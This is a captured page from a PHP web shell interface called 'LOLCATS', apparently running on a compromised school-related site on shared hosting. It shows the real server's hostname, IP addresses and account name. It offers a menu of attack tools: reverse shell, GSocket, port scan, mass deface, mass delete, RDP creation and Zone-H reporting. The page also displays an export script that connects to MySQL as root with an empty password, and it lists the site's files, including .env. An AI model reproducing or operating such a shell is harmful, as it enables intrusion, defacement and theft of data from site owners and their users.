LOLCATS

: /home/lyceedesvo/www/easyadmin/ [ drwx---r-x ]

Information Server

System: Linux webm004.cluster105.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Software: Apache
PHP Version: 8.3.31 PHP Os: Linux
Server IP: 213.186.33.16
Your IP: 216.73.217.165
User: lyceedesvo [676915] | Group: [users] [100]
Safe Mode: OFF
MYSQL: OFF | PERL: ON | PYTHON: ON | WGET: ON | CURL: ON | GCC: ON | PKEXEC: ON
Disable Function:

_dyuweyrj4,_dyuweyrj4r,dl

Command ON Config Searcher Create RDP Find Modified Time Find File Get Tools GSocket Jumping Lock File Mass Deface Mass Delete Mass Chmod Mass Change Date Port Scan Reverse Shell Upload Zone-H

: ParserTest.php

<?php
namespace Test\SimpleHtmlToText;

use SimpleHtmlToText\Parser;

require_once('D:\xampp5/htdocs/easyadmin/vendor/autoload.php');

if (!function_exists('mysqli_init') && !extension_loaded('mysqli')) {
    echo 'We don\'t have mysqli!!!';
}

$conn = new \MySQLi('localhost', 'root', '');  
//$conn->set_charset("utf8");
mysqli_select_db($conn, 'easy-admin');  
  
$setSql = "SELECT id,amplitude , organisation,cycle,concerness,intitule,type,nom1,nom2,nom3,objectifs,nbrstagiairesmin,nbrstagiairesmax,du,au,duree,coutpretoe,lieu,ville,pays FROM `fiche2`";  
$setRec = mysqli_query($conn, $setSql);  
  
$columnHeader = '';  
$columnHeader = "Fiche n°" . "\t" . "Types de formation - Menu déroulant" . "\t" . "Modalités d'organisation :  en présentiel, à distance, formation hybride - Menu déroulant" . "\t" . "Cycles - Menu déroulant" . "\t" . "Enseignement(s) ou dispositif(s) - Menu déroulant et possibilité de saisie libre" . "\t" . "Public  - Menu déroulant" . "\t" . "Libellé de stage  (menu déroulant) - (Catalogue : Axes de formation (niveau I du catalogue)) - Menu déroulant" . "\t" . "Libellé de la session (Formations (niveau II du catalogue)) - Menu déroulant et possibilité de saisie libre" . "\t" . "formateur(s) pressenti(s) : Nom prénom " . "\t" . " fonction)- Champ libre" . "\t" . "Objectifs - Champ libre" . "\t" . "Nb minimum de stagiaires (15)" . "\t" . "Nb maximum de stagiaires" . "\t" . "Date du début de la formation" . "\t" . "Date de fin de la session" . "\t" . "Volume horaire total en heure (une journée de formation = 6 heures)" . "\t" . "Budget prévisionnel de la formation" . "\t" . "Lieu de formation" . "\t" . "Ville" . "\t" . "Pays" . "\t" . "Formation validée : Oui/Non" . "\t" . "Observations". "\t"; 
  
$setData = '';  
  
while ($rec = mysqli_fetch_row($setRec)) {  
    $rowData = '';  
    foreach ($rec as $value) {  
    	   $value = (new Parser())->parseString($value);
    	    //$value = strip_tags(str_replace('"', '""', $value));
        $value = '"' . $value . '"' . "\t";  
        $rowData .= $value;  
    }  
    $setData .= trim($rowData) . "\n";  
}

//print_r($setData);exit();
//echo  $setData;exit(); 
header("Content-type: application/octet-stream");
header("Content-Disposition: attachment; filename=Report.xls");
header("Pragma: no-cache");
header("Expires: 0");
$setData = str_replace( "&#39;", "'", $setData );
$setData = utf8_decode($setData);
$columnHeader = str_replace( "&#39;", "'", $columnHeader );
$columnHeader = utf8_decode($columnHeader);
print ucwords($columnHeader) . "\n" . $setData . "\n";

NAME	TYPE	LAST MODIFIED	SIZE	OWNER / GROUP	PERMISSIONS	ACTION
..
.buildpath	f!le	2020-11-19 19:34	3.37 KB	lyceedesvo / users	-rw----r--
.env	f!le	2020-11-19 19:34	1.17 KB	lyceedesvo / users	-rw----r--
.env.dist	f!le	2020-11-19 19:34	1.18 KB	lyceedesvo / users	-rw----r--
.gitignore	f!le	2020-11-19 19:34	633 B	lyceedesvo / users	-rw----r--
.project	f!le	2020-11-19 19:34	519 B	lyceedesvo / users	-rw----r--
.travis.yml	f!le	2020-11-19 19:34	783 B	lyceedesvo / users	-rw----r--
LICENSE	f!le	2020-11-19 19:34	1.06 KB	lyceedesvo / users	-rw----r--
ParserTest.php	f!le	2020-11-19 19:34	2.54 KB	lyceedesvo / users	-rw----r--
composer.json	f!le	2020-11-19 19:34	2.39 KB	lyceedesvo / users	-rw----r--
composer.lock	f!le	2020-11-19 19:34	250.79 KB	lyceedesvo / users	-rw----r--
db.php	f!le	2020-11-19 19:34	287 B	lyceedesvo / users	-rw----r--
jquery.multiselect.css	f!le	2020-11-19 19:34	3.12 KB	lyceedesvo / users	-rw----r--
jquery.multiselect.js	f!le	2020-11-19 19:34	38.89 KB	lyceedesvo / users	-rw----r--
phpunit.xml.dist	f!le	2020-11-19 19:34	1.86 KB	lyceedesvo / users	-rw----r--
symfony.lock	f!le	2020-11-19 19:34	1.9 KB	lyceedesvo / users	-rw----r--